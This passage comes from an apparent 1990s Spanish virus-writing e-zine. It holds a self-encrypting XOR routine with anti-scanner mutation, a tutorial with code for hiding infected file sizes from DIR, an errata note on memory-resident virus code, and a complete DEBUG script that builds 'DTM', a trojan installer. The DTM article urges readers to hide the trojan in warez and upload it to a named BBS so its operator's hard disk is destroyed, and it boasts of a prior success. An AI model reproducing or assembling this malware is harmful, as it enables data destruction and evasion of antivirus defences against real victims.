              sub bp,0103h
;*****************************************************************************
              call encr_desc
mark:


start:
              lea dx, saludo + bp
              mov ah,09h
              int 21h                    ;imprime Minotauro

;             etc....etc....etc

;******************************************************************
;mueve desde l1 hasta l2 al final del codigo
;esta parte en un virus seria la parte de reproduccion y devolucion
;del control al programa anfitrion
;esto lo realizamos para tratar de encriptar la mayor parte posible de codigo.


              cld
              lea si, l1 + bp
              lea di, dos + bp
              lea cx, l2
              lea ax, l1
              sub cx,ax
              sar cx, 1
              inc cx
              rep movsw

;*******************************************************************
              call rand        ;obtiene un numero aleatorio de 16 bits
                               ;para usarlo como nueva llave
              mov word ptr [xorkey+bp],dx
;********************************************************************

              jmp dos
l1:
;encuentra el offset en donde a quedado la rutina encr_desc
;almacena en called para luego llamar a esta rutina via memoria.

              lea ax, rutina + bp
              mov [called + bp], ax
      
              mov ax,3d02h                  ;habre el file prueba1.com
              lea dx,file+bp                ;modo lectura escritura
              int 21h                       ;debuelve file handle en ax
              mov [handle + bp], ax

              mov bx, [handle + bp]
              lea cx,dos+bp                 ;calcula y guarda en cx la
              lea ax,uno+bp                 ;longitud en bytes de este programa
              sub cx,ax
            
              lea dx,uno+bp              ;buffer comienza en ds:uno  
            
              push bx
              push cx
              push dx

              call [called+bp]           ;encripta con la nueva llave
            
              pop dx
              pop cx
              pop bx

              mov ax,4000h
              int 21h                    ;se sobreescribe este programa

            
              mov ax,3e00h               ;cierra el file prueba1.com
              int 21h

              mov ah,4ch                 ;vuelve al dos
              int 21h
l2:

;**********************************************************************
rand proc
;genera una nueva llave aleatoria leyendo el reloj (minutos y segundos)
;resultado en dx    
              mov ah,2ch
              int 21h
              ret
rand endp
;**********************************************************************

saludo   db  "Minotauro$"
file     db  "prueba2.com",0
handle   dw   1 dup (?)

endmark:      nop
              nop
;la encriptacion termina en endmark y debido a que trabajamos con word
;y en el calculo nos puede dar que el ultimo word a encriptar comienze
;en direccion de handle+1 ponemos un dos para que si sucede esto encripte
;inutilmente al nop y no a la parte baja de xorkey la cual debe quedar
;desencriptada.  
;Se podria haber colocado endmark antes de handle y sacar los nop.  


xorkey       dw 1 dup (0)                ;word donde se guarda la llave
called       dw 1 dup (0)

;********************rutina de encriptacion y desencriptacion*************
rutina:
;esta etiqueta (rutina) esta por el echo de que cuando llamamos a la
;rutina para encriptar lo hacemos desde el codigo que hemos desplazado
;en memoria y si hacemos un call encr;pues la rutina encr;calculado en tiempo de compilacion,
;por lo tanto llamamos a la rutina via memoria y para saber
;donde a quedado usamos la etiqueta rutina.

encr_desc    proc
             lea bx, mark + bp
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx puntero de word a criptar o descriptar
             add bx,02             ;dx la llave
             loop xorloop
             ret
encr_desc    endp
;***************************************************************************
dos:
programa endp
code ends
end           programa
;____________________________corte aqui__________________________________

Bien ahora usted observa que en cada corrida del programa pocas son las
partes del mismo que permanece constantes exactamente estas partes son:
****************************************************************************
              CALL falso
falso proc
falso endp
              pop bp
              sub bp,0103h

Esta parte no nos traer problema en primera instancia ya que son pocos bytes.
En todo caso podemos usar un truco que veremos luego.
 
****************************************************************************

xorkey       dw 1 dup (0)                ;word donde se guarda la llave
called       dw 1 dup (0)

No problema pues xorkey es distinta en cada reproduccion.

****************************************************************************
encr_desc    proc
             lea bx, mark + bp
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             sar cx, 1
             inc cx
             mov dx,[xorkey + bp]
xorloop:     xor [bx],dx           ;bx puntero de word a criptar o descriptar
             add bx,02             ;dx la llave
             loop xorloop
             ret
encr_desc    endp

Esta seria la parte mas extensa de codigo que queda sin encriptar , y por lo
tanto el eslabon mas debil del sistema .
Para eliminar esto supongamos que aaaa ..... cccc sean numeros aleatorios
de 16 bits generados de la misma manera que xorkey y transformamos nuestra
rutina de la siguiente manera.

encr_desc    proc
             lea bx, mark + bp
antiscan:
             add bx,aaaa------>agregado
             sub bx,aaaa------>agregado

             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx

             add cx,bbbb ------>agregado
             sub cx,bbbb ------>agregado

             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx puntero de word a criptar o descriptar
             add bx,02             ;dx la llave
             
             add bx,cccc------>agregado
             sub bx,cccc------>agregado

             loop xorloop
             ret
encr_desc    endp

Observese que al sumar y al restar una misma cantidad el contenido del
registro no cambia , pero si el codigo generado.
Con esto logramos que el string que se pueda llegar a dejar constante en
cada reproduccion sea de menor longitud.

Como se haria esto .... simple antes de reproducir generariamos los numeros
aaaa.....cccc y los colocariamos en la rutina.
******************************************************************************
Veamos el programa con esta modificacion.
-----------------------------------------

;____________________________corte aqui____________________________________
;compilarlo con nombre prueba3.com

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
              call falso
falso         proc
falso         endp     
              pop bp
              sub bp,0103h
              call encr_desc
mark:
start:
              lea dx, saludo + bp
              mov ah,09h
              int 21h                    ;imprime Minotauro
;             etc....etc....etc
              cld
              lea si, l1 + bp
              lea di, dos + bp
              lea cx, l2
              lea ax, l1
              sub cx,ax
              sar cx, 1
              inc cx
              rep movsw
              call rand        ;obtiene un numero aleatorio de 16 bits
                               ;para usarlo como nueva llave
              mov word ptr [xorkey+bp],dx
;********************************************************************
;agregado para variar la rutina de encriptamiento

              lea di,antiscan+bp        ;puntero en di
              call rand                 ;alla aaaa
              mov [di+bp+2],dx          ;coloca aaaaa
              mov [di+bp+6],dx          ;coloca aaaa
              call rand                 ;alla bbbb
              mov [di+bp+18],dx         ;coloca bbbb
              mov [di+bp+22],dx         ;coloca bbbb
              call rand                 ;alla cccc
              mov [di+bp+39],dx         ;coloca cccc
              mov [di+bp+43],dx         ;coloca cccc



              jmp dos
l1: 
              lea ax, rutina + bp
              mov [called + bp], ax
              mov ax,3d02h                  ;habre el file prueba1.com
              lea dx,file+bp                ;modo lectura escritura
              int 21h                       ;debuelve file handle en ax
              mov [handle + bp], ax
              mov bx, [handle + bp]
              lea cx,dos+bp                 ;calcula y guarda en cx la
              lea ax,uno+bp                 ;longitud en bytes de este programa
              sub cx,ax
              lea dx,uno+bp              ;buffer comienza en ds:uno   
              push bx
              push cx
              push dx
              call [called+bp]           ;encripta con la nueva llave
              pop dx
              pop cx
              pop bx
              mov ax,4000h
              int 21h                    ;se sobreescribe este programa
              mov ax,3e00h               ;cierra el file prueba1.com
              int 21h
              mov ah,4ch                 ;vuelve al dos
              int 21h
l2:
rand proc
              mov ah,2ch
              int 21h
              ret
rand endp
saludo   db  "Minotauro$"
file     db  "prueba3.com",0
handle   dw   1 dup (?)
endmark:      nop
              nop
xorkey       dw 1 dup (0)                ;word donde se guarda la llave
called       dw 1 dup (0)
rutina:
encr_desc    proc
             lea bx,mark+bp
antiscan:
             add bx,1111h
             sub bx,1111h
             lea dx, endmark + bp
             mov cx, dx
             sub cx,bx
             add cx,2222h
             sub cx,2222h
             sar cx, 1
             inc cx
             mov dx, [xorkey + bp]
xorloop:     xor [bx],dx           ;bx puntero de word a criptar o descriptar
             add bx,02             ;dx la llave
             add bx,3333h
             sub bx,3333h
             loop xorloop
             ret
encr_desc    enp
dos:
programa endp
code ends
end           programa
;_______________________corte aqui___________________________________


Bien ahora la rutina encr_desc ligeramente  cambia entre reproducion y
reproduccion.
?es esto la solucion final?
No pues aunque se la hemos complicado a los anti todavia una vez estudiado
el codigo los scaners podran usar comodines .
Eso si les costara mas trabajo he he he...
Bueno por algo se desarrollo la mutacion !!!!!.
Creo para el metodo de xor ya basta lo explicado.
Como veran la rutina de encriptacion no debe por que ser igual a la 
de desencriptacion solo basta con que la segunda desaga los cambios
producidos por la primera.
Por ejemplo se podra encriptar sumando un numero y desencriptar restando,
o rotando x veces cada byte a la derecha y desencriptar rotando a la 
izquierda, o etc , etc , o una mezcla de todos.
Bueno por esta vez basta que les aproveche y dudas al bbs. 

Bye:LAPIDARIO.
Stealth de Directorio (FCB)
-------------------------------------------------------------------------------

Hoy en d°a, para que un virus pueda considerase efectivo, tiene que tener
por lo menos, alguna tÇcnica stealth.
El stealth de memoria, es algo ya obvio e infaltable en un virus, en este
art°culo discutiremos otro metodo de stealth, que es muy simple y corto al
llevarlo a la pr†ctica.

Un problema en estos tiempos, es que los usuarios ya estan avisados de la
presencia de los virus, y hay mucha mas informaci¢n al respecto que cuando
aparecieron los primer virus, y todos estaban asombrados, e imagin†ndose
bichitos metiÇndose en la PC.

Cuando algun usuario ve que sus archivos comienzan a crecer de tama§o sin
ninguna aparente raz¢n, saben que algo raro esta pasando y que eso 'raro'
es seguramente un virus.

Para evitar esto, es que se desarroll¢ la tecnica que describimos en este
art°culo. Esta tÇcnica es la de Directory Stealth (Stealth de directorio).
Esta tÇcnica se usa para que cuando el Usuario tipee DIR, el aumento que
produce el virus en el tama§o de los files, al infectar estos, no sea
notado.

Cuando el usuario tipea DIR son llamadas las funciones del DOS 11h y 12h.
Lo que haremos, es interceptar estas llamadas desde nuestro handler de
la int 21h.

Antes de seguir, tenemos que hablar del FCB (File control Block). El FCB
es una tabla que usa el DOS para trabajar con los archivos, abrirlos,
cerrarlos, etc etc. Hay 2 tipos de FCB, una es la NORMAL..

El formato de la misma es el siguiente:

offset   Size      Descripci¢n
------------------------------------------------------------------------------
00h       1        Drive (00=actual, 01=A:, 02=B:, 03=C: etc.)
01h       8        Nombre del File. Si < 8 caracteres, se llena con espacios.
09h       3        Extensi¢n del File.
0Ch       2        Bloque actual. Apunta al bloque de registros.
0Eh       2        Tama§o del registro.
10h       4        Tama§o del File en bytes
14h       2        Fecha
16h       2        Hora
18h       4        Reservado ( o sea que MS no dice para que sirve :))
1Ch       4        Igual que el offset 10h, pero este valor es el impreso.
20h       1        Offset del registro actual.
21h       4        Registro relativo.

TambiÇn existe el FCB EXTENDIDO, que es igual que el FCB normal solamente
que tiene 7 bytes mas que se agregan al principio (antes del offset 0h del
FCB NORMAL).

Offset  Size       Descripci¢n
------------------------------------------------------------------------------
-07h     1         contiene el valor 0FFh, que indica que el FCB es EXTENDIDO.
-06h     5         Reservado
-01h     1         Byte Atributo


Cuando se pide el DIR, se ejecutan las funciones 11h y 12h de la int 21h
y se hace la busqueda de los archivos con el contenido del FCB.
Si la funcion termina satisfactoriamente, el contenido del FCB es copiado
en el actual DTA.

Lo que vamos a hacer, es editar esos datos que se copian al DTA.


Primero, agregamos el codigo para interceptar a las funciones 11h y 12h en
nuestro handler de la int 21h:

Handler_21:
           ..
           ..
           cmp ah,11h           ; el usuario pidi¢ dir?
           je D_stealth         ; hacemos el stealth
           cmp ah,12h           ; el usuario pidi¢ dir?
           je D_stealth         ; hacemos el stealth
           ..
           ..

Ahora vayamos directo al codigo que hace el stealth propiamente dicho.
primero, llamamos a la int 21h original, para que nos llene el DTA con
los datos del FILE..

D_Stealth:
          pushf                          ; simulamos un
          call dword ptr cs:[Old21]      ; int 21h
          or al,al                       ; si AL=0 todo salio OK.
          jnz ERROR                      ; ag, ha ocurrido un error.. ;)


lo que haremos a continuaci¢n es obtener la direcci¢n del DTA para poder
modificar los datos del mismo..

          push ax bx es                  ; guardamos los registros que usamos

          mov ah,2fh                     ; Nos devuelve en
          int 21h                        ; ES:BX -> direcci¢n del DTA


Ahora, tenemos que verificar que clase de FCB es, si EXTENDIDO o NORMAL, ya
que los offsets seran diferentes, para eso nos fijamos si el primer byte
del FCB es 0FFH, si es asi, estamos ante un FCB EXTENDIDO, sino ante uno
NORMAL. :).
Si se trata del EXTENDIDO le agregamos 7 bytes a la direcci¢n del mismo,
por los 7 bytes de mas que tiene este, y sobrepasamos estos que no nos
sirven y quedamos apuntando al primer dato que los dos tienen en com£n.


         cmp byte ptr es:[BX],0ffh      ; el primer byte es FF?
         jne normal                     ; no, es FCB NORMAL
         add bx,7h                      ; Es EXTENDIDA, le sumamos 7 bytes

a continuaci¢n, tenemos que verificar si el archivo esta infectado, ya que
sino no nos interesa arreglarle nada. Para esto suponemos que para marcar
a los files ya infectados, lo hacemos poniendo los segundos de la hora del
file a 60 seg, valor imposible.

normal: mov ax,es:[bx+17h]              ; tomamos la hora del file del FCB
        and ax,1fh                      ; desenmascaramos los segundos.
        xor al,1eh                      ; son 60 segundos!?.
                                        ; 1eh = 30 decimal, 30*2 = 60 seg.
                                        ; XOR = CMP, pero mas rapido y corto
        jne no_infectado                ; no son 60, no esta infectado..

El codigo que sigue se ejecutar† entonces si, y solo si :), el file esta
infectado, lo que hacemos es restarle al filesize que esta en 1Ch el
tama§o del virus, asi obtendremos el tama§o original del file..

        sub word ptr es:[bx+1dh],VIRLEN   ; le restamos el tama§o del virus.
        sbb word ptr es:[bx+1fh],0        ; por si nos da resto

Listo!, a continuaci¢n restauramos los registros que usamos y volvemos de la
int.

no_infectado: pop es bx ax              ; restauramos registros
error:        iret                      ; volvemos..

Ya esta, realmente es algo f†cil, y digno de incluirse en un virus, el tama§o
del codigo es despreciable, y sus servicios son realmente £tiles..

	Esta es una forma de Directory Stealth, que es usando el FCB, que es el
que usa el DOS al hacer el DIR, pero tambien existe otro stealth, que es por
HANDLE, que es el sistema usado por el Norton Commander, Pctools y programas
parecidos, para mostrar los files, ya que su manejo es mucha mas facil que por
FCB. En un pr¢ximo articulo trataremos este metodo, que es practicamente igual.

                                                            -  WMí  -
FÇ de Ratas.. ;)
-------------------------------------------------------------------------------
	Jeje, esta area esta destinada a 'corregir' o aclarar un poco mas los
conceptos de los que se hablan en la revista.. generalmente de n£meros anterio_
res, ;). El problema era la velocidad de edicion de la revista: Tenemos a un
grupo de gente laburando en varios proyectos a la vez, adem†s de la revista y
algunas cosas pasan desapercibidas.. o no nos damos cuenta que no estan lo su_
ficientemente claras como para entenderlas.

	Un ejempo de esto es la nota en que Zarathustra habla de los mÇtodos de
residencia... en la parte que explica el mÇtodo de MCB, nos dice:

	mov	ax, cs			;Con esto obtenemos el segmento
	dec	ax			;del MCB.

	mov	es, ax			;Aca estamos obteniendo del campo
	mov	ax, es:[3]		;del MCB, la memoria utilizada.

;******************************************************************************
;El problema de esto, es que en nignun momento se aclara que tenemos que decla_
;rar el tama§o del virus un poco mas grande, exactamente un parrafo mas largo.
;Esto por quÇ ? Y bueno, en el momento en que tenemos que restarle un parrafo a
;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se
;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus
;tambien.. osea que la ultima parte del virus no entraria en la memoria reser_
;vada.. Puede ser que no traiga problemas por ser un †rea de datos o algo por
;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-)
;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de
;parrafos del virus o si lo declaran en su programa con un :
;
; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1
;
; declarar el incremento directamente ahi, para no gastar bytes ni clocks ;) :
;
; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1
;
;******************************************************************************

	sub	ax, bx			;En BX esta la longitud del virus,
					;en parrafos. (ahora incrementada).

	push	bx			;Salvo la cantidad de mem a reservar.
	mov	bx, ax			;Le paso la nueva cantidad a BX.
	push	cs 
	pop	es
	mov	ah, 4ah
	int	21h

	pop	bx			;Popeo la  cantidad de mem a reservar.
	dec	bx
	mov	ah, 48h
	int	21h

	dec	ax
	mov	es, ax
	mov	word ptr es:[1], 8
	mov	word ptr es:[8],'XX'	;Opcional, un nombre al bloque.
	inc	ax
	mov	es, ax

	push	es			;Salvo la dir del seg. del virus
	...				;blah blah blah y sigue el c¢digo ;)
	...DTM - Dead to Minotauro BBS silly Troyan installer.
-------------------------------------------------------------------------------

Bueno, este es un peque§o programa que hice para erradicar una molestia que
tiene la revista llamada 'Minotauro BBS'.

Este autoproclamado BBS (no llega a serlo, es cualquier cosa) ha sido motivo
de varias equivocaciones por parte de los lectores de nuestra revista, que
por logica lo asocian con la misma (por si no se dieron cuenta, esto que estan
leyendo es una revista, y se llama Minotauro Magazine, ®entienden la
relacion?.. ;)).

Pues le hemos pedido en varias ocasiones (®hemos? ;)) que cambie el nombre
de su sistema, pero el sysop no hace caso, ya que es un 'WareZ D00dz' :0.

Pues bien, ESTE BBS NO TIENE NADA, repito.., NADA QUE VER CON MINOTAURO
MAGAZINE. Lamentablemente como el Sysop no entiende razones, sacamos este
programa para el publico lector de nuestra revista.

El programa en cuestion es el DTM, Dead to Minotauro BBs silly troyan insta-
ller ;).

El programa instalar† un troyano en cualquier archivo .EXE que uno quiera.

La idea es que uds. nos ayuden, tomen cualquier '0-0 Warez' ;), y le agreguen
al .EXE del mismo el troyano. y lo suban a Minotauro BBS, para que esa pobre
cosa amorfa llamada Sysop, lo ejecute entusiasmado y vea como su Hd se hace
, en una palabra, MIERDA. Esto por mas tonto que parezca, es muy factible,
porque el Sysop del BBs no es muy 'brillante' que digamos, por no decir que
es totalmente estupido ;).


El programa se los suministramos en un Script del debug, para convertir el
mismo a un archivo .COM ejecutable, tienen que hacer lo siguiente:

  o Eliminar Todo el Texto que se encuentra antes y despues de las lineas
    que dicen 'Cortar Aqu°', incluyendo estas lineas tambiÇn.
    De esta manera les quedar† un archivo, SOLO con el script del debug.

  o a continuaci¢n tipeen: DEBUG < DEBUG.SCR
    donde DEBUG.SCR es el archivo que crearon anteriormente.

  o Listo!.

Si hicieron todo correctamente se creara un archivo llamado DTM.COM.
El uso del mismo es MUY sencillo, basta ejecutarlo, y solo tienen que poner
el nombre del EXE al que le quieren poner el troyano y listo!.


Si quieren usar DTM para joder a otros BBS o a cualquiera, solo les advierto
que el mensaje que pone al trashear el HD no va a estar muy acorde con su
intenci¢n, ya que el mismo fue hecho ESPECIALMENTE para Minotauro BBS.
Pero pueden cambiarle el texto del mensaje con un editor como el Norton
Editor (muy 'Lame', como dicen los 'Warez D00dz' :0 ;) )

Tampoco empiezen a tirarle troyanos al Todo el mundo, me parece algo idiota
de su parte, pero si tienen alguna BUENA razon, vayan a por ello :)

Bueno, esperamos que suban muchos troyanos a Minotauro BBS, y le rompan
el HD cada 2 x 3, asi aprende de una vez.


NOTA: Un troyano ya fuÇ subido a Minotauro BBS (no voy a decir por quien ;))
y al parecer hizo efecto :). ya que me han comentado que el BBS no responde
mas. :)

igualmente, no se desanimen!. ;)

                                             Por WMí
                                - el Mundo sigue girando por inercia -

-- Cortar aqu° -------------------------------------------------------------
N DTM.COM
E 0100 E9 D7 04 C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0110 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0120 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0130 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0140 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0150 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0160 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0170 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0180 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0190 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 01A0 0F C4 0F 20 0F 20 0F DA 07 CB 07 CB 07 CD 0F CD
E 01B0 0F CB 0F BF 0F 20 0F DA 07 CD 07 D1 07 CB 0F D1
E 01C0 0F CD 0F BF 0F 20 0F DA 07 CB 07 CD 07 CB 0F CD
E 01D0 0F CB 0F BF 0F 20 0F 20 0F 20 0F 44 0F 65 0F 61
E 01E0 0F 64 0F 20 0F 54 0F 6F 0F 20 0F 4D 0F 69 0F 6E
E 01F0 0F 6F 0F 54 0F 61 0F 75 0F 72 0F 6F 0F 20 0F 42
E 0200 0F 42 0F 53 0F 20 0F 53 0F 69 0F 6C 0F 6C 0F 79
E 0210 0F 20 0F 54 0F 72 0F 6F 0F 79 0F 61 0F 6E 0F 20
E 0220 0F 49 0F 6E 0F 73 0F 74 0F 41 0F 6C 0F 6C 0F 65
E 0230 0F 72 0F 2E 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 0240 0F 20 0F 20 0F 20 0F B3 03 BA 03 BA 03 20 03 20
E 0250 03 BA 0B B3 0B 20 0B 20 0B 20 0B B3 03 BA 0B B3
E 0260 0B 20 0B 20 0B 20 0B B3 03 BA 03 20 03 BA 0B 20
E 0270 0B BA 0B B3 0B 20 0B 20 0B 20 0B 28 0F 63 0F 29
E 0280 0F 20 0F 31 0F 39 0F 39 0F 34 0F 2C 0F 20 0F 62
E 0290 0F 79 0F 20 0F 57 0F 4D 0F 92 0F 20 0F 20 0F 20
E 02A0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 02B0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 02C0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 02D0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 02E0 0F 20 0F C4 0F 20 0F C0 01 CA 01 CA 01 CD 09 CD
E 02F0 09 CA 09 D9 09 20 09 20 09 20 09 CF 01 CA 09 CF
E 0300 09 20 09 20 09 20 09 C0 01 CA 01 20 01 20 01 20
E 0310 01 CA 09 D9 09 20 09 C4 0F C4 0F C4 0F C4 0F C4
E 0320 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0330 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0340 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0350 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0360 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0370 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4 0F C4
E 0380 0F C4 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 0390 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03A0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03B0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03C0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03D0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03E0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 03F0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 0400 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 0410 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20
E 0420 0F 20 0F 44 65 61 64 20 74 6F 20 4D 69 6E 6F 54
E 0430 61 75 72 6F 20 42 42 53 20 53 69 6C 6C 79 20 54
E 0440 72 6F 79 61 6E 20 49 6E 73 74 61 6C 6C 65 72 2E
E 0450 20 28 63 29 20 31 39 39 34 2C 20 62 79 20 57 4D
E 0460 92 0D 0A AD 4E 61 64 61 20 71 75 65 20 76 65 72
E 0470 20 63 6F 6E 20 4D 69 6E 6F 74 61 75 72 6F 20 4D
E 0480 61 67 61 7A 69 6E 65 21 2E 0D 0A 24 0D 0A FE 20
E 0490 41 72 63 68 69 76 6F 3A 20 24 0D 0A FE 20 45 72
E 04A0 72 6F 72 20 61 6C 20 41 62 72 69 72 20 46 69 6C
E 04B0 65 21 07 0D 0A 24 0D 0A FE 20 46 69 6C 65 20 41
E 04C0 62 69 65 72 74 6F 20 4F 6B 21 2E 2E 24 0D 0A FE
E 04D0 20 45 72 72 6F 72 21 2C 20 4E 6F 20 73 65 20 70
E 04E0 75 64 6F 20 6C 65 65 72 20 48 65 61 64 65 72 20
E 04F0 6F 20 4E 6F 20 65 73 20 75 6E 20 45 58 45 21 07
E 0500 0D 0A 24 0D 0A FE 20 48 65 61 64 65 72 20 64 65
E 0510 6C 20 45 78 65 20 6C 65 A1 64 6F 20 4F 6B 21 2E
E 0520 2E 24 0D 0A FE 20 45 72 72 6F 72 20 61 6C 20 49
E 0530 6E 73 74 61 6C 61 72 20 54 72 6F 79 61 6E 6F 21
E 0540 2E 07 0D 0A 24 0D 0A FE 20 54 72 6F 79 61 6E 6F
E 0550 20 49 6E 73 74 61 6C 61 64 6F 20 43 6F 72 72 65
E 0560 63 74 61 6D 65 6E 74 65 21 2E 0D 0A 24 0D 0A FE
E 0570 20 45 72 72 6F 72 20 61 6C 20 43 61 6D 62 69 61
E 0580 72 20 48 65 61 64 65 72 21 2E 07 0D 0A 24 0D 0A
E 0590 FE 20 48 65 61 64 65 72 20 4D 6F 64 69 66 69 63
E 05A0 61 64 6F 20 4F 4B 21 2E 0D 0A 24 0D 00 00 00 00
E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 05C0 00 00 00 00 00 00 00 00 00 00 DA 08 00 00 5A 07
E 05D0 00 00 00 00 00 00 00 00 00 00 E8 5A 01 E8 68 01
E 05E0 B4 02 BA 00 05 CD 10 BA 23 04 E8 45 01 BA 8C 04
E 05F0 E8 3F 01 B4 0A BA AB 05 CD 21 2E 80 3E AD 05 20
E 0600 74 0B 2E 80 3E AD 05 0D 74 03 EB 06 90 E8 27 01
E 0610 EB C8 33 C0 2E A0 AC 05 BE AD 05 03 F0 33 C0 8B
E 0620 FE AA E8 0B 00 E8 23 00 E8 65 00 B8 00 4C CD 21
E 0630 B8 02 3D BA AD 05 CD 21 72 09 8B D8 BA B6 04 E8
E 0640 F0 00 C3 BA 9A 04 E8 E9 00 EB E0 B4 3F B9 20 00
E 0650 BA BA 05 CD 21 72 10 2E 81 3E BA 05 4D 5A 75 07
E 0660 BA 03 05 E8 CC 00 C3 B4 3E CD 21 BA CD 04 E8 C1
E 0670 00 EB B8 B4 40 B9 80 00 90 BA 5A 07 CD 21 72 01
E 0680 C3 5A 58 59 B4 3E CD 21 BA 22 05 E8 A4 00 EB 9B
E 0690 B8 02 42 33 C9 33 D2 CD 21 73 03 E9 87 00 25 0F
E 06A0 00 0B C0 74 09 B9 10 00 2B C8 B4 40 CD 21 B8 02
E 06B0 42 33 C9 33 D2 CD 21 72 6C B1 04 D3 E8 B1 0C D3
E 06C0 E2 03 D0 2E 2B 16 C2 05 52 E8 A7 FF 5A 2E 89 16
E 06D0 C8 05 2E 89 16 D0 05 2E C7 06 CE 05 00 00 2E C7
E 06E0 06 CA 05 80 01 B8 02 42 33 C9 33 D2 CD 21 72 35
E 06F0 B9 00 02 F7 F1 40 2E 89 16 BC 05 2E A3 BE 05 B8
E 0700 00 42 33 C9 33 D2 CD 21 72 1B B4 40 B9 20 00 BA
E 0710 BA 05 CD 21 B4 3E CD 21 BA 8E 05 E8 14 00 BA 45
E 0720 05 E8 0E 00 C3 B4 3E CD 21 BA 6D 05 E8 03 00 E9
E 0730 F9 FE B4 09 CD 21 C3 B8 00 B8 8E C0 33 C0 33 FF
E 0740 B9 D0 07 F3 AB 0E 07 C3 B8 00 B8 8E C0 33 FF BE
E 0750 03 01 B9 20 03 F3 A4 0E 07 C3 E8 00 00 CC 5D 81
E 0760 ED 5D 07 BB 87 07 B5 00 B4 04 FE C4 BA 80 00 CD
E 0770 13 FE C5 80 FD 99 75 F0 0E 1F B4 09 8D 96 87 07
E 0780 CD 21 B8 00 4C CD 21 9D ED 75 20 68 E0 76 EE 20
E 0790 62 EE EE EF 20 E7 ED 6C 64 21 2E 20 53 ED 6C ED
E 07A0 20 68 E0 9D 20 55 EF 20 4D 69 EF ED E7 E0 75 72
E 07B0 ED 2E 2E 2E 0D 0A 9D 20 EF ED 20 EE 73 20 EE 73
E 07C0 E7 EE 2E 2E 2E 20 4A EE 6A EE 21 2E 2E 2E 20 E1
E 07D0 9D EE E1 9D EE 21 2E 0D 0A 24
RCX
06DA
W
Q
-- Cortar Aqu° ----------------------------------------------------------------
